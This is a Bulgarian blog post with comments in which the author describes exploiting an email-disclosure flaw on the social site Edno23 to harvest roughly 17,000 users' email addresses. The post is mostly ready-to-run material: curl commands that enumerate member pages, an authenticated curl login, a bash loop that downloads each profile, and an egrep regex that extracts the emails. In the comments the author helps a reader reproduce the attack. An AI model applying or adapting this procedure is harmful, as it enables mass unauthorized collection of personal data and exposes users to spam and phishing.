Хакване на Edno23

Важно 2: Във curl командите за вход е отстранена малка грешка.

Важно 1: По-малко от час след написването на настоящето проблема беше отстранен. Благодарим на администрацията за бързата реакция.

Лятото на 2014 забелязах, че във мобилната версия на Edno23 има особенност която позволява да се види мейла на кой-да-е потребител във системата. Алармирах администрацията на сайта които ми отговориха, че това било от темата и били знаели за него. Изчаках търпеливо няколко (9) месеца, но проблема си стоеше неотстранен. И една вечер ми хрумна да им смъкна всичките мейли на регистираните им потребители. Сега ще ви покажа как беше реализирано всичко това за 5 минути.

Първата задачка беше да се смъкнат списъците на всички налични потребители. Списъка на всички потребители се намира тук:
http://edno23.eu/members
но има и 2,3 и общо 713 страници:
http://edno23.eu/members/tab:all/pg:2
http://edno23.eu/members/tab:all/pg:3
http://edno23.eu/members/tab:all/pg:4

http://edno23.eu/members/tab:all/pg:713

Това се изпълнява много лесно само със един ред:

curl http://edno23.eu/members/tab:all/pg:[1-713] -o "profiles-pg#1.txt"

При това не е необходимо човек да бъде логнат във сайта за да достъпи този списък. След операцията във папката ще има сумарно 713 текстови файлове със съдържанието на потребителите. Във всеки един от текстовите файлове има до 24 потребителя. След бърз преглед установяваме как линковете към потребителите имат добавен клас groupname или groupavatar. За наша радост egrep има удобна фукнция за филтриране на файлове на базата на regex шаблон:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt

разбира се извеждането във конзолата е леко досадно затова си го пренасочваме към файл ето така:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt > full-list-users

след което трябва да отворим файла full-list-users и да премахнем ето това
” class=”groupname”
от всички редове и честито. Току-що получихме списък на линковете към профилите на всички потребители на сайта.

Втората задачка беше да вземем самите мейли от всеки един потребител. Тук вече късмета малко ми поизневери. Трябваше да намеря начин да вляза във сайта за да мога да смъкна информацията. За моя радост curl имаха решение и на този проблем:

curl -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

така правим посещение на логин формата. Сега ще въведем потребителското име и паролата:

curl --data "email=EMAIL&password=PASSWORD&rememberme=1" -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

Съдържаниято на login.txt трябва след горната операция трябва да има линк към:

http://edno23.eu/m/dashboard

Което е сигурен сигнал, че сме влезли напълно редовно и можем да започнем със събирането на информацията ни. Нека сега да направим и автоматизация смъкването на информацията:

#!/bin/bash
echo enter file name
read fname
exec<$fname
while read line
do
AFTER_SLASH=${line##*/}
echo $AFTER_SLASH
url="http://edno23.eu/m/${AFTER_SLASH%%\?*}/show:info"
curl -o $AFTER_SLASH.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" $url
done

Горния bash скрипт се записва като dump_users.sh. Дават му се права за изпълнение (chmod +x dump_users.sh) и си го изпълняваме. Скрипта ще помоли за име на входния файл със потребителите при което му подаваме файла full-list-users като вход и започва голямото смъкване. Ако цялата операция премине успешно ще имаме папка със около 17000 файла със шаблона username.txt. Това ще трае може би няколко часа във зависимост от интернет достъпа ви, затова се въоръжете със малко търпение.

Третата задачка беше най-сладката… да съберем мейлите от вече смъкнатите профили:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt

тук обаче се натъкваме на нов проблем. Някой от файловете имат мейла два пъти което лесно се фиксира със един sort -u:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt | sort -u

Както сами виждате няма нищо сложно във горните команди. На практика не са нищо повече от извикване на curl, egrep и bash със няколко параметъра, което е доста добре за потребителите на *nix и клонинзите. Ако работите под Windows навярно ще трябва да използвате bash от Cygwin или със лека преработка PowerShell. Разбира се аз няма да ви дам на готово списък със мейлите на потребителите. И най-забавното във целия случай е че според правилата на сайта описани тук http://edno23.eu/terms всичко си е напълно коректно:

Запазваме правото си да деактивираме или изтриваме профили, направени изцяло с рекламна цел. Извиняваме се, но никой не ги иска на този етап, включително и ние.
4 comments
John.Dumas
John.Dumas

Има моменти в които исрено ти се възхищавам на любопитството.


Scraper19
Scraper19

Здравей, прочетох статията и реших да пробвам какво мога да постигна, оказа се интересно занимание, но уменията ми от страна ''терминал'' за съжеление са много слаби и зациклих на задача номер 2 логин формата. Надявам се ако имаш желание да драснеш два реда. Използвам Cygwin 64 Terminal под win7x64, след написването дусловно ''$ curl -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53")" http://edno23.eu/m/ ''

Получавам следния резултат:

-bash: syntax error near unexpected token `)'


Благодаря ти предварително.

mobilio
mobilio moderator

@Scraper19 Да разбира се.


Оказа се че като съм копирал командите съм изкопирал едни )" във повече. Затова командите за логин трябва да са ето така:

curl -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

curl --data "email=EMAIL&password=PASSWORD&rememberme=1" -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

Разбира се във втората команда трябва да си напишете email + password със вашите данни за вход.